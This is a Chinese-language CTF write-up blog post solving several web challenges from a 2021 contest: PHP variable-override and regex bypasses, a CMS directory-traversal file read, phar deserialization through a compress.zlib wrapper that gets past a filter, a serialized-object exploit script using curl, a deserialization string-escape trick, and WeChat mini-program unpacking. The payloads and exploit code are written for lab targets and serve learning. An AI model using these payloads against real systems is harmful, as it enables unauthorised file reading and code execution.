前言
这次比赛也很开心,学到了挺多东西,谢谢师傅们的出题
太懒了,放在新博客了,图片不能直接搞csdn
https://y4tacker.gitee.io/2021/01/23/2021/1%E6%9C%88/2021-DJBCTF/
veryphp
打开环境代码审计,一堆过滤恶心,还好可以一层一层套下去
<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}
整理下思路:
post传入三个变量,通过变量覆盖赋值,并且不能包含题目中的那些特殊字符
1.$shaw_root满足正则匹配规则,并且长度为29
2.找到$SecretNumber的值,并传入到ans
3.调用qwq类当中的oao方法
那么首先来看这个正则匹配,额,稍微学过正则的都应该能懂,我给出我的一个payload,可以参考学习
-a9<b>111111111>>>>abcphp@Rsz
但是传入参数前shaw_root中间有_
过不了正则的限制,这里利用了一个特性,在传入一些非法字符的时候php会把它解析为下划线_
,我记得有空格和[
和+
这三个这里我用空格吧,post传入
shaw root=-a9<b>111111111>>>>abcphp@Rsz
传入后得到hint,接下来通过爆破得到了secretnumber是21475
>Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
进入最后一层call_user_func,这里用了其特性,调用类的方法时语法是qwq::oao
因此最终payload是,burp发包即可获得flag
shaw root=-a9<b>111111111>>>>abcphp@Rsz&ans=21475&my ans=qwq::oao
虎山行&虎山行’s revenge
启动环境点进去看,啥都没有是个空白,我老年痴呆了忘记了,www.rar
源码泄露
是一个CMS,用Seay快速扫一遍看看有没有啥漏洞,在排除过后发现mc-admin/page-edit.php
下存在任意文件读写漏洞,当然在利用前需要登录,有个install.php
安装cms,之后登录即可
在第128行开始,如果get传入参数file那么他就会拼接字符串赋值给file_path,没有对传入参数进行过滤,所以造成了目录穿越读取任意文件
else if (isset($_GET['file'])) {
$file_path = '../mc-files/pages/data/'.$_GET['file'];
$data = (file_get_contents($file_path));
$page_file = $data['file'];
$page_path = $data['path'];
$page_state = $data['state'];
$page_title = $data['title'];
$page_content = $data['content'];
$page_date = $data['date'];
$page_time = $data['time'];
$page_can_comment = isset($data['can_comment']) ? $data['can_comment'] : '1';
echo $data;
}
访问
url/mc-admin/page-edit.php?file=../../../../../../flag
得到提示,ctfshowsecretfilehh这个目录里面有东西
flag{
fuckflag*********}flag not here maybe You can access ctfshowsecretfilehh directory
接下来尝试读取ctfshowsecretfilehh目录一层一层跳出去后,根据报错提示变化,发现就在/var/www/html
网站根目录下那么直接访问
http://6e929df5-2a42-48c3-90ec-61f7fda253de.chall.ctf.show/ctfshowsecretfilehh/
得到了
<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
public $ctfer = 'shower';
public function __destruct(){
system('cp /hint* /var/www/html/hint.txt');
}
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>
第一眼就看见了讨厌的waf,正好有文件穿越漏洞,读取一下
/mc-admin/page-edit.php?file=../../../../../../var/www/html/ctfshowsecretfilehh/waf.php
看了一眼过滤的字符,再想到上面的readgzfile函数,明摆着让我用phar反序列化嘛
<?php
function waf($file){
if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
die("姿势太简单啦,来一点骚的?!");
}else{
return $file;
}
}
在url/mc-admin/post.php
有个文件上传的地方,点击跳转到url/upload.php
,那么上传的部分就ok啦,接下来看waf,从正则当中可以看见,从传入的参数头开始匹配,不能出现里面的非法字符,那么尝试绕过即可
这里采用zlib绕过,当然
compress.zlib://phar://phar.jpg
``compress.zlib2://phar://phar.jpg`
compress.bzip://phar:
compress.bzip2://phar:
php://filter/resource=phar://
等等都行,当然不是每一个都合适,上面这些仅仅只是我比赛过后收集到的,没有做测试
接下来开始干活,构造phar文件
<?php
class Ctfshow{
public $ctfer = 'shower';
}
$object = new Ctfshow();
$phar = new Phar('magic.phar');
$phar->startBuffering(); //开始写入
$phar->addFromString('test.txt', 'text'); //设置压缩的文件,这里随便写
$phar->setMetadata($object);//设置头
$phar->stopBuffering();
将生成好的phar文件改后缀为.png,(上传的地方白名单说要图片后缀),在响应头中发现生成的文件名的格式
从burp响应包得到时间,按hint得到文件名
$filename=substr(md5(strtotime('Sat, 23 Jan 2021 10:21:41 GMT')),0,8);
echo $filename;
之后在url/ctfshowsecretfilehh/
页面
传入参数http://d1d4b746-d6cb-4492-87a6-11113fa1e0b2.chall.ctf.show/ctfshowsecretfilehh/?file=zlib:phar:///var/www/html/upload/770ebc3d.png
即可,访问hint.txt,再一层套娃,说让我访问ctfshowgetflaghhhh
目录,来吧代码审计
<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
public $username='Firebasky';
public $password;
function __destruct() {
if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
system('cp /ctfshow* /var/www/html/flag.txt');
}
}
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');
嗯,很直白吧,让username=ctfshow,并且password等于在利用时间点的时间戳做md5处理那就比较随意了
这里我不知道python与php的md5是不是一样的为了节约时间我就用php处理了,如下payload构造
#Author: Y4tacker
<?php
class Unser {
public $username='ctfshow';
public $password;
function __construct(){
$this->password=(int)md5(time());
}
}
$a = new Unser();
$c = serialize($a);
function curl_get($url){
$header = array(
'Accept: application/json',
);
$curl = curl_init();
//设置抓取的url
curl_setopt($curl, CURLOPT_URL, $url);
//设置头文件的信息作为数据流输出
curl_setopt($curl, CURLOPT_HEADER, 0);
// 超时设置,以秒为单位
curl_setopt($curl, CURLOPT_TIMEOUT, 1);
// 超时设置,以毫秒为单位
// curl_setopt($curl, CURLOPT_TIMEOUT_MS, 500);
// 设置请求头
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
//设置获取的信息以文件流的形式返回,而不是直接输出。
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
//执行命令
$data = curl_exec($curl);
// 显示错误信息
if (curl_error($curl)) {
print "Error: " . curl_error($curl);
} else {
// 打印返回的内容
var_dump($data);
curl_close($curl);
}
}
$url = 'http://d3cecf07-1443-4836-bb32-f1f48eed47da.chall.ctf.show/ctfshowgetflaghhhh/?unser='.$c;
curl_get($url);
本来想着条件竞争的,结果这个system('rm -rf /var/www/html/flag.txt');
居然没有执行,也算是主办方没有把对于文件的控制权限搞好吧
再访问/url/flag.txt
即可获取flag,因为我这是预期解,后面revenge那个做法也一样,听说就是为了终结非预期
spaceman
打开题目看下代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
public $username;
public $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
public function __wakeup()
{
if($this->password==='ctfshowvip')
{
include("flag.php");
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?> wrong password
非预期
首先是对post进来的数据做了处理,禁止出现下面的字符
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
但是再看下一步的反序列化,需要我们传入的参数是user_name
和pass_word
都带来禁止的下划线,和web1一样,用空格
、+
或者[
替代即可,直接看看我的非预期吧,很好理解不做解释
payload:
user name=1&pass word=ctfshowvip
预期(推荐不要看)
考点:反序列化字符逃逸,不过我感觉应该是题投稿的时候出错了,预期总感觉像非预期
一步一步来分析
首先,如果不考虑filter函数,我们预期的序列化后字符串应该是类似下面这种
O:8:"spaceman":2:{
s:8:"username";s:8:"y4tacker";s:8:"password";s:10:"ctfshowvip";}
后面传入1";s:8:"password";s:10:"ctfshowvip
即可
需要把s:8:"password";s:36:"1
这24个字符给吞掉,我们知道filter里面每出现一个ctfshowup就会减少2字符,所以传11个即可
最终payload:
user name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass word=1";s:8:"password";s:10:"ctfshowvip
额,总感觉有点别扭呢,锅还是给题目吧
有手就行
考点:微信小程序逆向
工具:wxappUnpacker
网址:https://tool.jisuapi.com/base642pic.html (在线base64转图片)
首先打开题目,看到后面有敏感参数?file=scan
别被带到沟里去了,以为是读目录啥的,然后出来个憨憨图片,老梗了,后面猜测?file=flag
再次去网站转码出来个微信小程序二维码,打开需要我点击54625023次才能获取到flag,我也真用点了,后来嫌麻烦,试着抓包无果,最后尝试逆向
使用安卓模拟器安装微信(我IOS,只能这样),打开目标小程序确保小程序代码被下载到本地,使用 ES文件浏览器 打开文件路径 /data/data/com.tencent.mm/MicroMsg/{User}/appbrand/pkg,如果文件太多可以将微信的数据全部清空再重新打开目标小程序。
获取到了三个.wxapkg后缀的小程序
node wuWxapkg.js 文件名
获得反编译后的文件,最后全局搜索flag居然是明文哈哈哈,挺有意思的
参考文章
https://www.jianshu.com/p/8a0280d0afd8
https://blog.csdn.net/qq_42181428/article/details/100995404
https://blog.csdn.net/songtaiwu/article/details/79455031?utm_source=app&app_version=4.5.0
转载:https://blog.csdn.net/solitudi/article/details/113097738